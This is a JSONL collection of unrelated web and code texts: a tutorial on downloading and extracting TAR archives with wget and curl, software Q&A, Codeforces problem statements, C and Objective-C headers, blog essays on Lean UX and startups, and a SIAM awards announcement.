{"text": "In this tutorial, we give you all the necessary steps to know what are the commands to download and extract TAR file in Linux\nWhat is TAR?\nThe tar command (Tape Archiver) is an official POSIX format through which it will be possible to execute tasks such as:\n- Use with other commands for file compression\n- Download multimedia elements\n- Transfer files and much more.\nHow To Download & Extract Files using WGET\nWget or GNU Wget is a free software package that allows us to manage files using HTTP, HTTPS, FTP and FTPS protocols.\nWith Wget, we have a series of advantages like\n- Recover failed downloads\n- Manage files of different languages thanks to the fact that it is based on NLS\n- Supports HTTP cookies and proxies\n- It allows being executed in unattended mode.\nIn this first example, we will see how to download and unzip a rar file.\nFor this we will execute the following line:\nwget -c http://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.tar.gz -O - | tar -xz\nIn this case, we will download the Geolite database utility.\nIf we wish we can list the content of the downloaded file:\nWe will break down that it has been executed in this line:\nThe parameter O indicates the file where the data are to be written, and when the – sign is prefixed, we suggest that you store it in standard output.\nThis parameter allows us to activate the extraction of files\nIts function is to compress or unzip the selected file.\nIf we want to extract the content of the downloaded file in a different route, it will be necessary to add the parameter -C in the following way:\nsudo wget -c http://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.tar.gz -O - | sudo tar -xz -C path\nWget is a tool that allows us to execute various actions; for example, if we want to download the file before its extraction we will run the following:\nsudo wget -c http://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.tar.gz && tar -xzf GeoLite2-Country.tar.gz\nWe can see that in this case the file has been downloaded in tar.gz format but not uncompressed.\nHow To Download & Extract Files using CURL\nThis command has been developed as a command line utility or scripts to transfer data securely.\nCurl supports protocols such as HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP and many more.\nTo download a file with the curl command and proceed to its immediate decompression, we will execute the following:\nsudo curl http://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.tar.gz | tar -xz\nWe have used ls to list that the file has been decompressed.\nAs with wget, it is possible to specify a new path where the file must be extracted, for this we can use some of the following commands:\nsudo curl http://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.tar.gz | sudo tar -xz -C path sudo curl http://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.tar.gz && sudo tar -xzf GeoLite2-Country.tar.gz -C path\nSo we have understood how to use tar along with other commands for downloading and decompressing files in Linux.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 747, "token_count_with_eod": 748, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "currently we still use php 7.2 for webissues 1.1.5 .\nSince php version 7.2 is no longer supported, we wanted to switch to php 8.1. Is this possible with the webissues version 1.1.5 and what is to be considered if necessary?\nOr do we have to change to webissues 2.0.x for this? How would we have to proceed for an upgrade from 1.1.5 to 2.0.x?\nVersion 1.x of WebIssues is no longer supported, and will probably not work with PHP 8, so I recommend upgrading to version 2.0. See the documentation for more information about updating WebIssues to the latest version.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 156, "token_count_with_eod": 157, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Ayush is a cashier at the shopping center. Recently his department has started a ''click and collect\" service which allows users to shop online.\n\nThe store contains k items. n customers have already used the above service. Each user paid for m items. Let aij denote the j-th item in the i-th person's order.\n\nDue to the space limitations all the items are arranged in one single row. When Ayush receives the i-th order he will find one by one all the items aij (1 ≤ j ≤ m) in the row. Let pos(x) denote the position of the item x in the row at the moment of its collection. Then Ayush takes time equal to pos(ai1) + pos(ai2) + ... + pos(aim) for the i-th customer.\n\nWhen Ayush accesses the x-th element he keeps a new stock in the front of the row and takes away the x-th element. Thus the values are updating.\n\nYour task is to calculate the total time it takes for Ayush to process all the orders.\n\nYou can assume that the market has endless stock.", "source": "cpt_codeforces", "language": "en", "token_count": 229, "token_count_with_eod": 230, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "New answers tagged qt\nYou can find many examples from Qt's website: http://doc.qt.io/qt-4.8/all-examples.html QML examples: http://doc.qt.io/qt-4.8/qdeclarativeexamples.html\nSimply install the same packages as for 64-bit, but append :i386 onto the package name. For example, libqt5webkit5:i386. To compile against the libraries, you'll also need the appropriate i386 version of the appropriate -dev packages.\nIf you are building a Qt project, Qt Creator tool may be of use -- it supports multiple Qt versions to be set as build kits, you just need to have the proper compiler installed and locate the qmake file of the desired Qt. If otherwise you are convinced to build something from command line (ex.: development is not the key goal), check the following: qmake ...\nYou will have to first download the source from here for qt 4.8.1. Then open a terminal(Ctrl+Alt+T) and goto the path where you have download the file. Install the required dependencies sudo apt-get install build-essential checkinstall Then extract the file using tar -xvzf qt-everywhere-opensource-src-4.8.1.tar.gz Then goto the extracted ...\nThis command helped me to start qtcreator without that error: export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$HOME/tools/qtcreator-3.6.1/lib/Qt/lib where qtcreator-3.6.1 is the installation directory.\nTop 50 recent answers are included", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 331, "token_count_with_eod": 332, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A contest contains $$$n$$$ problems and the difficulty of the $$$i$$$-th problem is expected to be at most $$$b_i$$$. There are already $$$n$$$ problem proposals and the difficulty of the $$$i$$$-th problem is $$$a_i$$$. Initially, both $$$a_1, a_2, \\ldots, a_n$$$ and $$$b_1, b_2, \\ldots, b_n$$$ are sorted in non-decreasing order.\n\nSome of the problems may be more difficult than expected, so the writers must propose more problems. When a new problem with difficulty $$$w$$$ is proposed, the most difficult problem will be deleted from the contest, and the problems will be sorted in a way that the difficulties are non-decreasing.\n\nIn other words, in each operation, you choose an integer $$$w$$$, insert it into the array $$$a$$$, sort array $$$a$$$ in non-decreasing order, and remove the last element from it.\n\nFind the minimum number of new problems to make $$$a_i\\le b_i$$$ for all $$$i$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 227, "token_count_with_eod": 228, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "RT @sherylchamb: Paul Maritz vision for cloud comes alive @gopivotal #emcworld keynote delivers\n10:34 AM May 7th via Twitter for iPhone\nRT @gopivotal: EMC's Pivot Point: the birth and vision of Pivotal @Forbes http://t.co/s43ALwwhxS @VMware @EMCcorp @CETAS @cloudfoundry\n9:54 AM May 3rd via HootSuite\nFOLLOW GREENPLUM: Facebook Twitter LinkedIn\nEMC2, EMC, Greenplum, Greenplum Chorus, and where information lives are registered trademarks or trademarks of EMC Corporation in the United States and other countries. © 2009-2012 EMC Corporation. All rights reserved.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Integration with Microsoft Transaction Server\nMicrosoft Transaction Server (MTS) is a programming model that provides automatic support for transactions, thread management, database connection pooling, process isolation, and other mission critical programming functionality required for multiuser web server applications. MTS allows developers to capitalize on their existing knowledge of popular tools such as Microsoft Visual Basic, Microsoft Visual C++, Microsoft Visual J++ in creating desktop applications to create reliable and scalable data-driven web applications.\nProcess isolation enables applications to run in a separate memory space from the Web and other applications. This provides a higher level of reliability for organizations running Web applications because Process isolation prevents an unstable application from crashing the server.\nActive Server Pages\nActive Server Pages is an open, compile free application environment in which developers can combine the ease of HTML with familiar tools like Visual Basic scripting and reusable Microsoft Active X server components to create dynamic and powerful websites. ASP enables server side scripting for IIS with native support for both VBScript and JScript.\nThe integration of IIS with Microsoft Transaction Server allows Report Writer to run as a component in the MTS environment and to take advantage of capabilities such as process isolation, transactions and scalability.\nServer Side Java Virtual Machine\nServer Side Java Virtual machine is a high performance and reliable Virtual Machine for creating and running Java components on the server. It provides developers with an industry standard, high performance platform for building and deploying Java based applications.\nBest Windows Servers Providers USA", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 290, "token_count_with_eod": 291, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Xbox Live is used by Windows and Xbox games for achievements, friend lists, and matches. Apparently, the Microsoft is looking to push Xbox Live cross-platform 'in a big way'.\nA recent Microsoft job posting reveals some details about the plan.\n\"We will create a modern framework that is open-source, lightweight, extensible and scalable across various platforms including Windows Store, Windows Phone, iOS, and Android.\"\nIn order to get developers on-board, Microsoft will reportedly have fewer restrictions and offer better tools to help developers integrate the functionality into their games.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In this problem you have to solve a simple classification task: given an image, determine whether it depicts a Fourier doodle.\n\nYou are given a set of 50 images with ids 1 through 50. You are also given a text file labels.txt containing the labels for images with ids 1 through 20, which comprise the learning data set.\n\nYou have to output the classification results for images with ids 21 through 50 in the same format.", "source": "cpt_codeforces", "language": "en", "token_count": 99, "token_count_with_eod": 100, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The role of software development is to produce software to solve a problem. The role of Agile software development is to learn as much about the solution as possible while developing, Agile does that mainly through ruthlessly begging for feedback, both on the product (e.g. sprint reviews, test-driven development and continuous delivery) and on the process (e.g. Scrum/Kanban boards, sprint retrospectives and standup). In between all these feedback sessions, you do ”normal” software development.\nThe role of user experience design (UX) is to produce a design to solve a problem (through user research and interaction design, of course). So, software development and user experience design go hand in hand, completing each other. Design and build.\nThe common misconception is that Lean UX also shall produce a design solution to a problem.\nThis is not the case. The role of Lean UX (and its progenitor Lean Startup) is to learn, but learn as much about the problem as possible. Lean UX does that through ruthlessly validating assumptions about the problem, the customer, their needs, the proposed solutions and the success metrics. Lean UX and Agile go hand in hand as well, learning about the problem and the solution, before, during and after development. In between all these validation sessions, you do ”normal” UX.\nOne situation where Lean UX is usually not used right due to the misconception is when you have had an ideation session and come up with possible solutions to a given problem. The Lean UX way of working would be to place those solutions in a risk vs. value matrix. For the solutions that end up in the high value and low risk corner, you do ”normal” UX since low risk means that you know enough about the assumptions around the solution. So you create a prototype and test that prototype with users to see if the workflow seems to solve the problem. For the solutions that end up in high value and high risk corner, you need to learn more and eliminate unknowns. In Lean UX, you create the smallest thing possible to mimic the intended experience of the solution (by creating a Riskiest Assumption Test, RAT, formerly known as MVP) to learn more about and (in)validate the solution. When you have learned enough, i.e. lowered the risk, you can do ”normal” UX again for that solution.Here’s an example: There’s a problem that people do not really use Lean UX as intended. One possible solution that lands in the high value high risk corner of the matrix would be to create a course for learning Lean UX. Instead of creating a prototype of the full course, detailing out different sections and exercises, you can create a nugget of teaching such as a five minute long YouTube clip or a blog post, and then ask some questions to see if they’ve learned the content. This would (in)validate the assumption that people can learn Lean UX in a course setting and reduces the risk of actually delivering one, such as Lean UX at Crisp, and getting feedback on that solution in production. 😀\nIt’s all about learning…", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 627, "token_count_with_eod": 628, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Evan Williams posts his list of rules for web startups here. These rules aren't just for startups though, they should be taken as general guidelines for building any sort of software.\nAlmost every software project, from a small feature addition to an existing product, to an entirely new idea, should be run with these same basic ideas. I can't understand people who still want to drop a big bang on the world with their projects. Rule #9, unless you're building pacemaker software, should be applied to all attempts at software creation. I've yet to come across a software project where anyone involved really know what they want at the start.\nSo don't spend time trying to cram everything in the world in to your software, just get it out the door, get some users on it, watch how they use it, and start refining. No one knows for sure how users will use their software until we actually put it in front of them. The rest of the rules will make sure that it gets where it needs to go from there.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 211, "token_count_with_eod": 212, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/* \nThis code is from an open source platform BCOS, URL:https://github.com/bcosorg/bcos/tree/master/libpaillier\n*/\n\n#ifndef __HEADER_COMMON_H__\n#define __HEADER_COMMON_H__\n\n#include \"bn.h\"\n\n#define GET_U32(n, b, i)                                                                                          \\\n\t{                                                                                                             \\\n\t\t(n) = ((U32)(b)[(i)] << 24) | ((U32)(b)[(i) + 1] << 16) | ((U32)(b)[(i) + 2] << 8) | ((U32)(b)[(i) + 3]); \\\n\t}\n\n#define PUT_U32(n, b, i)                \\\n\t{                                   \\\n\t\t(b)[(i)] = (U8)((n) >> 24);     \\\n\t\t(b)[(i) + 1] = (U8)((n) >> 16); \\\n\t\t(b)[(i) + 2] = (U8)((n) >> 8);  \\\n\t\t(b)[(i) + 3] = (U8)((n));       \\\n\t}\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\n\tS32 ConvertHexChar(S8 ch, U8 *ch_byte);\n\tS32 CharToByte(const S8 *pCharBuf, S32 charlen, U8 *pByteBuf, S32 *bytelen);\n\tS32 ByteToBN(U8 *pByteBuf, S32 bytelen, U32 *pwBN, S32 iBNWordLen);\n\tS32 BNToByte(U32 *pwBN, S32 iBNWordLen, U8 *pByteBuf, S32 *bytelen);\n\n\tvoid U8_Print(U8 *pwSource, S32 len);\n\tS32 U8_JE(U8 *pwX, U8 *pwY, S32 len);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif", "source": "cpt_stack_code", "language": "code", "token_count": 454, "token_count_with_eod": 455, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "I know that you can use the shortform word little in the longer word Littleton. But what if (Littleton) is in parentheses? One braille translation program I use results in Little being contracted, the other program I use uncontracts it. I'm assuming this is due to various interpretations of Rule 10.9.3(c). which says that the shortform must begin the word. When they say \"word\" here, do they mean the start of the symbol sequence? Or, since parentheses do not affect stand alone status, is it okay to use the shortform?\nAccording to 10.6.2, the beginning of a word is defined as the letters-sequence which follows a psace, hyphen or dash and which may be preceded by the punctuation and indicator symbols listed in 2.6.2 (which is the standing alone rule). The parentheses are listed in 2.6.2, so you CAN use the shortform for little in this instance.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 205, "token_count_with_eod": 206, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given an array of $$$n$$$ positive integers $$$a_1, a_2, \\ldots, a_n$$$. Your task is to calculate the number of arrays of $$$n$$$ positive integers $$$b_1, b_2, \\ldots, b_n$$$ such that:\n\n- $$$1 \\le b_i \\le a_i$$$ for every $$$i$$$ ($$$1 \\le i \\le n$$$), and\n- $$$b_i \\neq b_{i+1}$$$ for every $$$i$$$ ($$$1 \\le i \\le n - 1$$$).\n\nThe number of such arrays can be very large, so print it modulo $$$998\\,244\\,353$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 157, "token_count_with_eod": 158, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Innokenty is a president of a new football league in Byteland. The first task he should do is to assign short names to all clubs to be shown on TV next to the score. Of course, the short names should be distinct, and Innokenty wants that all short names consist of three letters.\n\nEach club's full name consist of two words: the team's name and the hometown's name, for example, \"DINAMO BYTECITY\". Innokenty doesn't want to assign strange short names, so he wants to choose such short names for each club that:\n\n1. the short name is the same as three first letters of the team's name, for example, for the mentioned club it is \"DIN\",\n2. or, the first two letters of the short name should be the same as the first two letters of the team's name, while the third letter is the same as the first letter in the hometown's name. For the mentioned club it is \"DIB\".\n\nApart from this, there is a rule that if for some club x the second option of short name is chosen, then there should be no club, for which the first option is chosen which is the same as the first option for the club x. For example, if the above mentioned club has short name \"DIB\", then no club for which the first option is chosen can have short name equal to \"DIN\". However, it is possible that some club have short name \"DIN\", where \"DI\" are the first two letters of the team's name, and \"N\" is the first letter of hometown's name. Of course, no two teams can have the same short name.\n\nHelp Innokenty to choose a short name for each of the teams. If this is impossible, report that. If there are multiple answer, any of them will suit Innokenty. If for some team the two options of short name are equal, then Innokenty will formally think that only one of these options is chosen.", "source": "cpt_codeforces", "language": "en", "token_count": 418, "token_count_with_eod": 419, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The average miner Vaganych took refresher courses. As soon as a miner completes the courses, he should take exams. The hardest one is a computer test called \"Testing Pants for Sadness\".\n\nThe test consists of n questions; the questions are to be answered strictly in the order in which they are given, from question 1 to question n. Question i contains ai answer variants, exactly one of them is correct.\n\nA click is regarded as selecting any answer in any question. The goal is to select the correct answer for each of the n questions. If Vaganych selects a wrong answer for some question, then all selected answers become unselected and the test starts from the very beginning, from question 1 again. But Vaganych remembers everything. The order of answers for each question and the order of questions remain unchanged, as well as the question and answers themselves.\n\nVaganych is very smart and his memory is superb, yet he is unbelievably unlucky and knows nothing whatsoever about the test's theme. How many clicks will he have to perform in the worst case?", "source": "cpt_codeforces", "language": "en", "token_count": 221, "token_count_with_eod": 222, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "//\n//  MainTabBarViewController.h\n//  MixSeafoodDemo\n//\n//  Created by choushayne on 15/1/26.\n//  Copyright (c) 2015年 ShayneChow. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n@interface MainTabBarViewController : UITabBarController\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 80, "token_count_with_eod": 81, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Alle 121Watt Ahrefs Bloofusion Germany Crawling Monday Farbentour Google Search Central Moz Neil Patel RustyBrick Barry Schwartz Search Engine Roundtable searchmetrics SISTRIX DE SpaceХ Website Boosting\nSmall Business Ideas for Beginners (Low Cost / Low Risk)\nIn this video, you’ll learn five small business ideas for beginners that are cheap and easy to start.\nAdditional Small Business Resources\nComplete SEO Course for Beginners: Learn to Rank #1 in Google ► https://www.youtube.com/watch?v=xsVTqzratPs\nAffiliate Marketing for Beginners: Complete A-Z Tutorial ► https://www.youtube.com/watch?v=W-nbsnXtSZI\nHow to Find a Niche for your Online Business ► https://www.youtube.com/watch?v=rUjZ0GRIx6M\nThese ideas are easy to implement because they require little to no money and come with virtually no risk but your time.\nThe first idea is called “SaaSaaS.”\nSaaS stands for Software as a Service and usually describes web-based software that companies create and license out to users. SaaSaaS stands for “Software as a Service … as a Service.” And this is when you sell services based around a SaaS tool.\nWatch the video to learn more about this idea.\nThe next small business idea is to start a niche drone videography business. And there are three advantages to starting a drone videography business:\n► It’s relatively cheap to start\n► It’s easy to get halfway decent at basic drone videography\n► You may charge quite a lot for this service.\nWant to learn more about starting this niche business? Watch the video.\nThe third small business idea is to become a voiceover actor. It’s about doing voiceovers for budget ads, commercials, screencasts, or whatever. It has two advantages:\n► Pretty much anyone can do it\n► It can pay well in terms of time/earnings ratio\nWatch the video to learn where to start here.\nThe next idea is to become a freelance content writer.\nThere are thousands of freelance content writers already. So the main question is: how do you build a freelance content writing business to make a six-figure budget per year? The oversimplified answer is to become a niche expert.\nWatch the video to learn how to do it.\nAnother small business idea is to create a niche affiliate website. Affiliates promote another company’s products or services in exchange for a commission when you refer a sale. The best thing about this business model is the lowest risk and lowest cost online business idea you can start today.\nWant to learn how to start your affiliate business? Watch the video.\n0:08 Start the so-called \"SaaSaaS\" business\n1:53 Start a niche drone videography business\n3:49 Become a voiceover actor\n5:43 Become a freelance content writer\n7:43 Create a niche affiliate website\n#smallbusinessideas #smallbusinessidea #smallbusiness\nBe sure to subscribe for more actionable marketing and SEO tutorials.\nAhrefs ► https://ahrefs.com/\nYouTube ► https://www.youtube.com/AhrefsCom?sub_confirmation=1\nFacebook ► https://www.facebook.com/Ahrefs\nDie letzten 10 YouTube Videos von Ahrefs\n- 29.11.2023 - The Google Loophole That Created Overnight Millionaires\n- 15.11.2023 - What Happens to SEO in a Recession (and How to Prepare)?\n- 01.11.2023 - I Tried to Rank #1 on Google in 24 Hours to Prove a Point\n- 18.10.2023 - Official Ahrefs Tutorial: How to use Ahrefs to Improve SEO\n- 04.10.2023 - The SEO Strategy to BREAK into Competitive Niches\n- 13.09.2023 - International SEO: Strategy to Boost Worldwide Traffic\n- 30.08.2023 - These ChatGPT Hacks Make Digital Marketing WAY Easier\n- 16.08.2023 - How I Would Learn Digital Marketing (If I Could Start Over)\n- 09.08.2023 - Meet The Best Looking SEO Book\n- 02.08.2023 - How to use HARO (And Alternatives)\nAlle Videos auflisten", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 952, "token_count_with_eod": 953, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I’m stuck in the world between Apple and Microsoft. I would like to archive all of my work email from Outlook using Devonthink Office at home. I know there are several solutions to import an Outlook pst file into Apple Mail, but most are very cumbersome or another expense on top of my already escalating 3rd party software bill. My question is:\nIs there a way to import mail messages from an Outlook pst file directly into Devonthink Office? This feature (or Applescript) would be a wonderful lure to get some of my friends to take a serious look at Devonthink as an information manager. Not to mention it would make my life easier.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 136, "token_count_with_eod": 137, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Recently the Ubuntu newswires have been buzzing with the news that we have won our first smartphone partner.\nNow, let’s get the elephant in the room out of the way – I am not telling you who it is. It is not my place here to share confidential details about business-to-business relationships such as this. Rest assured though, I know the folks working on these relationships and there is a tremendous amount of opportunity for Ubuntu in these discussions; OEMs, carriers, ISVs and more are very interested in exploring Ubuntu for future products.\nThis is…spoiler alert…fantastic news.\nBut what does this news really mean for Ubuntu, and to what extent do our community play a part? Let’s dig into this a little bit.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 153, "token_count_with_eod": 154, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Well as said when i start or restart my pc, my pc just goes black for a few seconds then just goes straight to windows 10's loading screen without even showing up acers logo on the screen at first. (you know the screen where it displays your motherboards brand and some options to enter bios). Yeah it just skips that and just goes straight to windows 10. So yeah any way to like fix it? Thanks in advance.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#ifndef SERIALTEST_H_\n#define SERIALTEST_H_\n\n#include <sys/time.h>\n#include <mavlink/common/mavlink.h>\n\n/**\n * the file descriptor of the port that will be opened using open_port().\n */\nextern int streamFD;\nextern const char* RS232_DEVICE_const;\n\n#define USART3 3\n#define BAUDRATE B57600\n#define RS232_DEVICE \"dev/ttyUSB0\"\n\n/**\n * @brief      returns streamFD.\n */\nint get_streamFD(void);\n\n\n/**\n * @brief      Opens a port for serial communication.\n * @return     returns an int that's the file descriptor of the opened port.\n */\nint open_port(void);\n\n/**\n * @brief      gets one complete NMEA message from the GPS, through the serial port that its on.\n * @param[in]  fd      the file descriptor of serial port used for communication with the GPS\n * @param      buffer  the string buffer that the message will be written to.\n * @return     returns the number of characters that were read for this NMEA sentence.\n */\nint fetch_sentence_from_gps(int fd, char* buffer);\n\n/**\n * @brief      Blocking read of one byte from the serial port.\n *\n * @param[in]  i     Unused\n *\n * @return     The read byte.\n */\nint usart_recv_blocking(int i);\n\n/**\n * @brief      Open a serial connection on a specified port\n * @param[in]  portname  The name of the serial port\n * @return     -1 for error and 1 for success.\n */\nint serial_start(const char* portname);\n\n/**\n * @brief      Read one byte at a time from the MAVLink stream on the serial port\n *             and populate the mavlink message struct as new bytes arrive.\n *\n * @param      message  The MAVLink message struct which is populated with the \n *                      parse data that's received from the serial port.\n *\n * @return     1 if a complete MAVLink message could be read, 0 otherwise.\n */\nint serial_read_message(mavlink_message_t* message);\n\n/**\n * @brief      Write a mavlink message to the serial port.\n *\n * @param[in]  message  The MAVLink message to be written.\n *\n * @return     The number of bytes written to the serial port (the size of the message).\n */\nint serial_write_message(const mavlink_message_t* message);\n\n/**\n * @brief      Gets the number of seconds and milliseconds since epoch.\n *\n * @param      tv    the timeval struct (sys/time.h)\n * @param      tz    the timezone struct\n *\n * @return     0 for successful write to structs and -1 for failure.\n */\nint get_time_sec(struct timeval *tv, struct timezone *tz);\n\n#ifdef DEBUG\n/**\n * @brief      Closes the opened serial ports.\n *             Used in the signal handler to allow peaceful termination when a SIGINT is received\n *\n * @return     The result of close()ing the opened ports (&&)\n */\nint handle_quit_serial();\n#endif\n\n\n#endif /* SERIALTEST_H_ */", "source": "cpt_stack_code", "language": "code", "token_count": 699, "token_count_with_eod": 700, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "SIAM Presents Awards and Prizes, Honors New Class of Fellows at 2010 Annual MeetingSeptember 15, 2010\nThe following recipients of SIAM awards and prizes were honored in Pittsburgh on July 13, during the 2010 SIAM Annual Meeting:\nI.E. Block Community Lecture. Dmitri Tymoczko, Princeton University; the lecture was titled \"The Geometry of Music.\"\nJulian Cole Lecture. John R. King, University of Nottingham, UK, with a lecture titled \"Mathematical Modelling of Tissue Growth.\"\nRichard C. DiPrima Prize. Colin B. Macdonald, Mathematical Institute, University of Oxford, UK, for his dissertation titled \"The Closest Point Method for Time-Dependent Processes on Surfaces.\"\nAWM–SIAM Sonia Kovalevsky Lecture. Suzanne Lenhart, University of Tennessee, Knoxville; the lecture was titled \"Mixing It Up: Discrete and Continuous Optimal Control for Biological Models.\"\nGeorge Pólya Prize. Emmanuel Candès, Stanford University, and Terence Tao, UCLA.\nW.T. and Idalia Reid Prize in Mathematics. John A. Burns, Virginia Polytechnic Institute and State University, who gave a prize lecture, \"William T. and Idalia Reid: His Mathematics and Her Mathematical Family.\"\nSIAM Awards in the Mathematical Contest in Modeling\nProblem A, The Continuous Problem: \"The Sweet Spot\"\nSolution: \"An Optimal Model of the ‘Sweet Spot' Effect\"\nStudents: Zhe Xiong, Qipei Mei, and Fei Han\nFaculty Adviser: Liang Gao\nHUST–Huazhong University of Science and Technology, PRC.\nProblem B, The Discrete Problem: \"Criminology\"\nSolution: \"Following the Trail of Data\"\nStudents: Joseph H. Gibney, Emily P. Meissen, and Yonatan Naamad\nFaculty Adviser: Peter Kramer\nRensselaer Polytechnic Institute.\nStudent Paper Prizes\nBubacarr Bah (Co-Author, Jared Tanner), University of Edinburgh, UK, for \"Improved Restricted Isometry Constant Bounds for Gaussian Matrices,\" submitted for publication in SIAM Journal on Matrix Analysis and Applications.\nRussell Carden, Rice University, for \"A Simple Algorithm for the Inverse Field of Values Problem,\" Inverse Problems, 25 (2009), 115019.\nKarin Leiderman (Co-Author, Aaron L. Fogelson), University of Utah, for \"Grow with the Flow: A Spatial-Temporal Model of Platelet Deposition and Coagulation under Flow,\" Mathematical Medicine and Biology, May 3, 2010, doi: 10.1093/imammb/dqq005.\nSIAM Prize for Distinguished Service to the Profession. Martin Grötschel, Vice President, Konrad-Zuse-Zentrum für Informations-technik Berlin (ZIB), and Professor, Technische Universität Berlin, Institut für Mathematik, Germany.\nThe John von Neumann Lecture. Bernd Sturmfels, University of California, Berkeley; the lecture was titled \"Algebra: From Linear to Non-Linear.\"\nThe members of the 2010 Class of SIAM Fellows are:\nUri M. Ascher, University of British Columbia\nAndrea L. Bertozzi, University of California Los Angeles\nSusanne C. Brenner, Louisiana State University\nJohn C. Butcher, University of Auckland\nStephen L. Campbell, North Carolina State University\nCarlos Castillo-Chavez, Arizona State University\nTony F. Chan, Hong Kong University of Science and Technology\nPeter Constantin, University of Chicago\nJohn E. Dennis, Jr., Rice University, Retired, and University of Washington\nIain S. Duff, Rutherford Appleton Laboratory, UK, and CERFACS, France\nPaul G. Dupuis, Brown University\nBjorn E. Engquist, University of Texas, Austin\nDonald Geman, Johns Hopkins University\nJohn R. Gilbert, University of California Santa Barbara\nMichael T. Heath, University of Illinois\nT.C. Hu, University of California San Diego\nGeorge Karniadakis, Brown University\nWilliam L. Kath, Northwestern University\nIoannis G. Kevrekidis, Princeton University\nBarbara Lee Keyfitz, Ohio State University\nRandall J. LeVeque, University of Washington\nAnders G. Lindquist, KTH---Royal Institute of Technology\nSteve McCormick, University of Colorado Boulder\nCarl D. Meyer, North Carolina State University\nJorge Nocedal, Northwestern University\nYousef Saad, University of Minnesota, Twin Cities\nFadil Santosa, University of Minnesota, Twin Cities\nRobert Schreiber, Hewlett-Packard\nMitchell D. Smooke, Yale University\nDanny C. Sorensen, Rice University\nGunther Uhlmann, University of Washington\nFrederic Y.M. Wan, University of California Irvine\nMichael I. Weinstein, Columbia University\nOlof B. Widlund, Courant Institute of Mathematical Sciences, New York University.\nTwo fellows were added to the 2009 class after the initial announcement:\nRobert B. Schnabel, Indiana University\nSuresh P. Sethi, University of Texas, Dallas.\nNewly named fellows gathered at the prize luncheon in Pittsburgh. Seated, left to right: Fred Wan, Suresh Sethi, Andrea Bertozzi, and Barbara Keyfitz. Standing, left to right: Carlos Castillo-Chavez, Mitchell Smooke, Carl Meyer, Michael Weinstein, Steve Campbell, Bill Kath, Uri Ascher, Michael Heath, Anders Lindquist, Randy LeVeque, Susanne Brenner, John Gilbert, Rob Schreiber, Peter Constantin, Gunther Uhlmann, Jorge Nocedal, and Danny Sorensen.\nThe recipients of the 2010 SIAM Student Paper Prizes, left to right, at the prize luncheon in Pittsburgh: Russell Carden (Rice University), Karin Leiderman (University of Utah), and Bubacarr Bah (University of Edinburgh, UK). The student paper prizes are given annually to recognize outstanding scholarship by students in applied mathematics or computing.\nColin Macdonald of the Mathematical Institute at the University of Oxford, UK, received the 2010 Richard C. DiPrima Prize, for research that contributed \"new insights for computing numerical solutions to PDEs on general curved surfaces.\"\nTim Lewis of the University of California, Davis, and Jonathan E. Rubin of the University of Pittsburgh, co-chairs of the organizing committee for the 2010 SIAM Conference on the Life Sciences, paused for a photo at the reception that followed the I.E. Block Community Lecture. The life sciences meeting was held jointly with the 2010 SIAM Annual Meeting.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1456, "token_count_with_eod": 1457, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
